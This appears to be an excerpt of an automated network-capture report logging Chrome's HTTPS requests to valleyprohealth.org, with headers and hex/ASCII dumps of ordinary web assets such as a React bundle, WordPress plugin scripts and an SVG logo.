2024-04-24 12:44:20 UTC	15952	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 61 69 6e 2e 30 38 65 65 34 39 31 63 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 32 31 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 76 61 72 20 72 3d 6e 28 37 36 33 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 45 72 72 6f 72 3a 21 Data Ascii: /! For license information please see main.08ee491c.js.LICENSE.txt /(()=>{"use strict";var e={219:(e,t,n)=>{var r=n(763),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 7c 7c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3d 3d 3d 65 3f 6c 65 28 74 29 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3d 3d 3d 65 26 26 22 66 6f 72 65 69 67 6e 4f 62 6a 65 63 74 22 3d 3d 3d 74 3f 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3a 65 7d 76 61 72 20 73 65 2c 63 65 2c 66 65 3d 28 63 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 21 3d 3d 65 2e 6e 61 6d 65 73 70 61 63 65 Data Ascii: .org/1999/xhtml"}}function ue(e,t){return null==e\|\|"http://www.w3.org/1999/xhtml"===e?le(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var se,ce,fe=(ce=function(e,t){if("http://www.w3.org/2000/svg"!==e.namespace
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 58 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 64 65 6c 74 61 58 22 69 6e 20 65 3f 65 2e 64 65 6c 74 61 58 3a 22 77 68 65 65 6c 44 65 6c 74 61 58 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 58 3a 30 7d 2c 64 65 6c 74 61 59 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 64 65 6c 74 61 59 22 69 6e 20 65 3f 65 2e 64 65 6c 74 61 59 3a 22 77 68 65 65 6c 44 65 6c 74 61 59 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 59 3a 22 77 68 65 65 6c 44 65 6c 74 61 22 69 6e 20 65 3f 2d 65 2e 77 68 65 65 6c 44 65 6c 74 61 3a 30 7d 2c 64 65 6c 74 61 5a 3a 30 2c 64 65 6c 74 61 4d 6f 64 65 3a 30 7d 29 2c 4c 6e 3d 6f 6e 28 49 6e 29 2c 4e 6e 3d 5b 39 2c 31 33 2c 32 37 2c 33 32 5d 2c 52 6e 3d 63 26 26 22 43 6f 6d 70 6f 73 69 Data Ascii: X:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Ln=on(In),Nn=[9,13,27,32],Rn=c&&"Composi
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 63 74 69 6f 6e 20 4f 6f 28 65 29 7b 30 3e 43 6f 7c 7c 28 65 2e 63 75 72 72 65 6e 74 3d 78 6f 5b 43 6f 5d 2c 78 6f 5b 43 6f 5d 3d 6e 75 6c 6c 2c 43 6f 2d 2d 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 6f 28 65 2c 74 29 7b 43 6f 2b 2b 2c 78 6f 5b 43 6f 5d 3d 65 2e 63 75 72 72 65 6e 74 2c 65 2e 63 75 72 72 65 6e 74 3d 74 7d 76 61 72 20 50 6f 3d 7b 7d 2c 4d 6f 3d 45 6f 28 50 6f 29 2c 54 6f 3d 45 6f 28 21 31 29 2c 49 6f 3d 50 6f 3b 66 75 6e 63 74 69 6f 6e 20 4c 6f 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 74 79 70 65 2e 63 6f 6e 74 65 78 74 54 79 70 65 73 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 50 6f 3b 76 61 72 20 72 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 69 66 28 72 26 26 72 2e 5f 5f 72 65 61 63 74 49 6e 74 65 72 6e 61 6c 4d 65 6d 6f 69 7a 65 64 55 6e 6d 61 73 6b Data Ascii: ction Oo(e){0>Co\|\|(e.current=xo[Co],xo[Co]=null,Co--)}function _o(e,t){Co++,xo[Co]=e.current,e.current=t}var Po={},Mo=Eo(Po),To=Eo(!1),Io=Po;function Lo(e,t){var n=e.type.contextTypes;if(!n)return Po;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmask
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 64 65 66 61 75 6c 74 3a 74 3d 75 65 28 74 3d 28 65 3d 38 3d 3d 3d 65 3f 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3a 74 29 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 7c 7c 6e 75 6c 6c 2c 65 3d 65 2e 74 61 67 4e 61 6d 65 29 7d 4f 6f 28 65 69 29 2c 5f 6f 28 65 69 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 69 28 29 7b 4f 6f 28 65 69 29 2c 4f 6f 28 74 69 29 2c 4f 6f 28 6e 69 29 7d 66 75 6e 63 74 69 6f 6e 20 69 69 28 65 29 7b 72 69 28 6e 69 2e 63 75 72 72 65 6e 74 29 3b 76 61 72 20 74 3d 72 69 28 65 69 2e 63 75 72 72 65 6e 74 29 2c 6e 3d 75 65 28 74 2c 65 2e 74 79 70 65 29 3b 74 21 3d 3d 6e 26 26 28 5f 6f 28 74 69 2c 65 29 2c 5f 6f 28 65 69 2c 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 69 28 65 29 7b 74 69 2e 63 75 72 72 65 6e 74 3d 3d 3d 65 26 26 28 4f 6f 28 65 69 29 2c Data Ascii: default:t=ue(t=(e=8===e?t.parentNode:t).namespaceURI\|\|null,e=e.tagName)}Oo(ei),_o(ei,t)}function ai(){Oo(ei),Oo(ti),Oo(ni)}function ii(e){ri(ni.current);var t=ri(ei.current),n=ue(t,e.type);t!==n&&(_o(ti,e),_o(ei,n))}function li(e){ti.current===e&&(Oo(ei),
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 64 3a 6e 75 6c 6c 2c 74 72 65 65 43 6f 6e 74 65 78 74 3a 6e 75 6c 6c 2c 72 65 74 72 79 4c 61 6e 65 3a 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 46 6c 28 65 29 7b 72 65 74 75 72 6e 7b 62 61 73 65 4c 61 6e 65 73 3a 65 2c 63 61 63 68 65 50 6f 6f 6c 3a 6e 75 6c 6c 2c 74 72 61 6e 73 69 74 69 6f 6e 73 3a 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 6f 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 2c 69 3d 75 69 2e 63 75 72 72 65 6e 74 2c 6c 3d 21 31 2c 75 3d 30 21 3d 3d 28 31 32 38 26 74 2e 66 6c 61 67 73 29 3b 69 66 28 28 72 3d 75 29 7c 7c 28 72 3d 28 6e 75 6c 6c 3d 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 3d 65 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 29 26 26 30 21 3d 3d 28 32 26 69 29 29 2c 72 3f 28 6c 3d 21 30 2c 74 2e 66 Data Ascii: d:null,treeContext:null,retryLane:0};function Fl(e){return{baseLanes:e,cachePool:null,transitions:null}}function Vl(e,t,n){var r,o=t.pendingProps,i=ui.current,l=!1,u=0!==(128&t.flags);if((r=u)\|\|(r=(null===e\|\|null!==e.memoizedState)&&0!==(2&i)),r?(l=!0,t.f
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 42 65 66 6f 72 65 28 65 2c 74 29 3a 6e 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 29 3a 28 38 3d 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 3f 28 74 3d 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6e 29 3a 28 74 3d 6e 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2c 6e 75 6c 6c 21 3d 3d 28 6e 3d 6e 2e 5f 72 65 61 63 74 52 6f 6f 74 43 6f 6e 74 61 69 6e 65 72 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 7c 7c 6e 75 6c 6c 21 3d 3d 74 2e 6f 6e 63 6c 69 63 6b 7c 7c 28 74 2e 6f 6e 63 6c 69 63 6b 3d 4a 72 29 29 3b 65 6c 73 65 20 69 66 28 34 21 3d 3d 72 26 26 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 63 68 69 6c 64 29 29 66 6f 72 28 73 75 28 65 2c 74 2c 6e 29 2c 65 3d 65 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 21 3d 3d 65 3b 29 73 Data Ascii: Before(e,t):n.insertBefore(e,t):(8===n.nodeType?(t=n.parentNode).insertBefore(e,n):(t=n).appendChild(e),null!==(n=n._reactRootContainer)&&void 0!==n\|\|null!==t.onclick\|\|(t.onclick=Jr));else if(4!==r&&null!==(e=e.child))for(su(e,t,n),e=e.sibling;null!==e;)s
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 6f 72 28 3b 3b 29 7b 66 6f 72 28 76 61 72 20 68 3b 64 21 3d 3d 6e 7c 7c 30 21 3d 3d 6f 26 26 33 21 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 75 3d 6c 2b 6f 29 2c 64 21 3d 3d 69 7c 7c 30 21 3d 3d 72 26 26 33 21 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 73 3d 6c 2b 72 29 2c 33 3d 3d 3d 64 2e 6e 6f 64 65 54 79 70 65 26 26 28 6c 2b 3d 64 2e 6e 6f 64 65 56 61 6c 75 65 2e 6c 65 6e 67 74 68 29 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 64 2e 66 69 72 73 74 43 68 69 6c 64 29 3b 29 70 3d 64 2c 64 3d 68 3b 66 6f 72 28 3b 3b 29 7b 69 66 28 64 3d 3d 3d 65 29 62 72 65 61 6b 20 74 3b 69 66 28 70 3d 3d 3d 6e 26 26 2b 2b 63 3d 3d 3d 6f 26 26 28 75 3d 6c 29 2c 70 3d 3d 3d 69 26 26 2b 2b 66 3d 3d 3d 72 26 26 28 73 3d 6c 29 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 64 2e 6e 65 78 74 53 Data Ascii: or(;;){for(var h;d!==n\|\|0!==o&&3!==d.nodeType\|\|(u=l+o),d!==i\|\|0!==r&&3!==d.nodeType\|\|(s=l+r),3===d.nodeType&&(l+=d.nodeValue.length),null!==(h=d.firstChild);)p=d,d=h;for(;;){if(d===e)break t;if(p===n&&++c===o&&(u=l),p===i&&++f===r&&(s=l),null!==(h=d.nextS
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 29 2c 61 74 3d 6f 63 7d 63 61 74 63 68 28 63 65 29 7b 7d 7d 74 2e 5f 5f 53 45 43 52 45 54 5f 49 4e 54 45 52 4e 41 4c 53 5f 44 4f 5f 4e 4f 54 5f 55 53 45 5f 4f 52 5f 59 4f 55 5f 57 49 4c 4c 5f 42 45 5f 46 49 52 45 44 3d 74 63 2c 74 2e 63 72 65 61 74 65 50 6f 72 74 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 6e 75 6c 6c 3b 69 66 28 21 58 73 28 74 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 32 30 30 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 33 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 Data Ascii: ),at=oc}catch(ce){}}t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=tc,t.createPortal=function(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!Xs(t))throw Error(a(200));return function(e,t,n){var r=3<arguments.length&&void
2024-04-24 12:44:20 UTC	16384	IN	Data Raw: 66 6f 72 6d 61 74 69 6f 6e 5f 76 70 5f 73 65 6c 65 63 74 5f 64 65 73 63 72 69 70 74 69 6f 6e 5f 5f 63 4d 76 41 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 20 63 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 Data Ascii: formation_vp_select_description__cMvAx"};function c(e){return c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49790	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	591	OUT	GET /wp-content/plugins/google-language-translator/js/scripts.js?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: application/javascript Content-Length: 13397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-3455" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	13397	IN	Data Raw: 2f 2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 0a 20 2a 20 53 63 72 69 70 74 20 66 6f 72 20 6f 6e 43 6c 69 63 6b 20 74 72 69 67 67 65 72 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 75 73 65 64 20 62 79 20 66 6c 61 67 20 69 6d 61 67 65 73 0a 20 2a 20 53 63 72 69 70 74 20 6d 6f 64 69 66 69 65 64 20 66 72 6f 6d 20 6f 72 69 67 69 6e 61 6c 20 47 54 72 61 6e 73 6c 61 74 65 20 70 6c 75 67 69 6e 20 63 72 65 61 74 65 64 20 62 79 20 45 64 76 61 72 64 20 41 6e 61 6e 79 61 6e 20 61 74 20 68 74 74 70 3a 2f 2f 65 64 6f 2e 77 65 62 6d 61 73 74 65 72 2e 61 6d 0a 20 2a 20 47 Data Ascii: /------------------------------------------------------------------------------- * Script for onClick trigger functionality used by flag images * Script modified from original GTranslate plugin created by Edvard Ananyan at http://edo.webmaster.am * G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49793	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:19 UTC	384	OUT	GET /wp-content/uploads/2020/06/icon__logo.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:19 GMT Content-Type: image/svg+xml Content-Length: 19885 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:29 GMT Vary: Accept-Encoding ETag: "64f5a121-4dad" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	15963	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 33 32 37 22 20 68 65 69 67 68 74 3d 22 35 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 37 20 35 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 09 3c 74 69 74 6c 65 3e 49 63 6f 6e 20 4c 6f 67 6f 3c 2f 74 69 74 6c 65 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 31 2e 30 37 30 36 20 31 37 2e 37 37 30 37 43 32 31 2e 30 37 30 36 20 38 2e 32 31 33 37 33 20 32 38 2e 38 31 38 20 30 2e 34 Data Ascii: <?xml version="1.0" encoding="utf-8"?><svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg"><title>Icon Logo</title><path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.4
2024-04-24 12:44:20 UTC	3922	IN	Data Raw: 32 31 36 2e 30 35 32 20 34 30 2e 32 31 39 36 20 32 31 36 2e 39 32 34 20 33 39 2e 36 35 32 36 20 32 31 38 2e 37 35 36 20 33 39 2e 34 35 36 33 56 33 39 2e 39 35 37 39 43 32 31 38 2e 37 35 36 20 34 31 2e 35 32 38 20 32 31 38 2e 32 37 36 20 34 32 2e 31 36 30 35 20 32 31 37 2e 31 32 20 34 32 2e 31 36 30 35 5a 4d 32 32 39 2e 32 37 35 20 32 39 2e 39 37 56 34 34 2e 35 31 35 37 48 32 32 35 2e 30 38 38 56 32 39 2e 39 37 48 32 32 39 2e 32 37 35 5a 4d 32 33 35 2e 38 32 36 20 34 34 2e 36 34 36 35 43 32 33 36 2e 36 35 35 20 34 34 2e 36 34 36 35 20 32 33 37 2e 32 38 37 20 34 34 2e 35 38 31 31 20 32 33 38 2e 32 36 38 20 34 34 2e 34 30 36 37 56 34 31 2e 33 37 35 34 43 32 33 37 2e 38 33 32 20 34 31 2e 34 38 34 34 20 32 33 37 2e 34 31 38 20 34 31 2e 35 34 39 39 20 32 33 37 Data Ascii: 216.052 40.2196 216.924 39.6526 218.756 39.4563V39.9579C218.756 41.528 218.276 42.1605 217.12 42.1605ZM229.275 29.97V44.5157H225.088V29.97H229.275ZM235.826 44.6465C236.655 44.6465 237.287 44.5811 238.268 44.4067V41.3754C237.832 41.4844 237.418 41.5499 237

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49796	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:20 UTC	613	OUT	GET /wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:20 GMT Content-Type: application/javascript Content-Length: 16292 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 31 Mar 2024 06:30:48 GMT Vary: Accept-Encoding ETag: "66090318-3fa4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	15954	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 61 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 61 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 29 3a 61 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 28 61 2e 55 6e 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 64 2e 5f 3d 22 77 70 72 73 5f 75 6e 73 6c 69 Data Ascii: !function(a){"object"==typeof module&&"object"==typeof module.exports?a(require("jquery")):"function"==typeof define&&define.amd?define([],a(window.jQuery)):a(window.jQuery)}(function(a){return a?(a.Unslider=function(b,c){var d=this;return d._="wprs_unsli
2024-04-24 12:44:20 UTC	338	IN	Data Raw: 09 09 20 20 20 74 79 70 65 3a 20 27 74 65 78 74 2f 63 73 73 27 2c 0d 0a 09 09 09 09 20 20 20 68 72 65 66 3a 20 77 70 72 65 76 70 75 62 6c 69 63 6a 73 5f 73 63 72 69 70 74 5f 76 61 72 73 2e 77 70 72 65 76 70 6c 75 67 69 6e 73 75 72 6c 2b 22 2f 70 75 62 6c 69 63 2f 63 73 73 2f 6c 69 74 79 2e 6d 69 6e 2e 63 73 73 22 0d 0a 09 09 09 09 7d 29 2e 61 70 70 65 6e 64 54 6f 28 27 68 65 61 64 27 29 3b 0d 0a 09 09 09 09 24 2e 67 65 74 53 63 72 69 70 74 28 77 70 72 65 76 70 75 62 6c 69 63 6a 73 5f 73 63 72 69 70 74 5f 76 61 72 73 2e 77 70 72 65 76 70 6c 75 67 69 6e 73 75 72 6c 2b 22 2f 70 75 62 6c 69 63 2f 6a 73 2f 6c 69 74 79 2e 6d 69 6e 2e 6a 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 09 09 2f 2f 73 63 72 69 70 74 20 69 73 20 6c 6f 61 64 65 64 20 Data Ascii: type: 'text/css', href: wprevpublicjs_script_vars.wprevpluginsurl+"/public/css/lity.min.css"}).appendTo('head');$.getScript(wprevpublicjs_script_vars.wprevpluginsurl+"/public/js/lity.min.js", function() {//script is loaded

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49797	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:20 UTC	565	OUT	GET /wp-includes/js/imagesloaded.min.js?ver=5.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:20 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:20 GMT Content-Type: application/javascript Content-Length: 5520 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 11 Aug 2023 18:18:26 GMT Vary: Accept-Encoding ETag: "64d67b72-1590" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:20 UTC	5520	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2a 21 0a 20 2a 20 69 6d 61 67 65 73 4c 6f 61 64 65 64 20 50 41 43 4b 41 47 45 44 20 76 35 2e 30 2e 30 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 69 73 20 61 6c 6c 20 6c 69 6b 65 20 22 59 6f 75 20 69 6d 61 67 65 73 20 61 72 65 20 64 6f 6e 65 20 79 65 74 20 6f 72 20 77 68 61 74 3f 22 0a 20 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 74 2e 45 76 45 6d 69 74 74 65 72 3d 65 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d Data Ascii: /! This file is auto-generated //! imagesLoaded PACKAGED v5.0.0 * JavaScript is 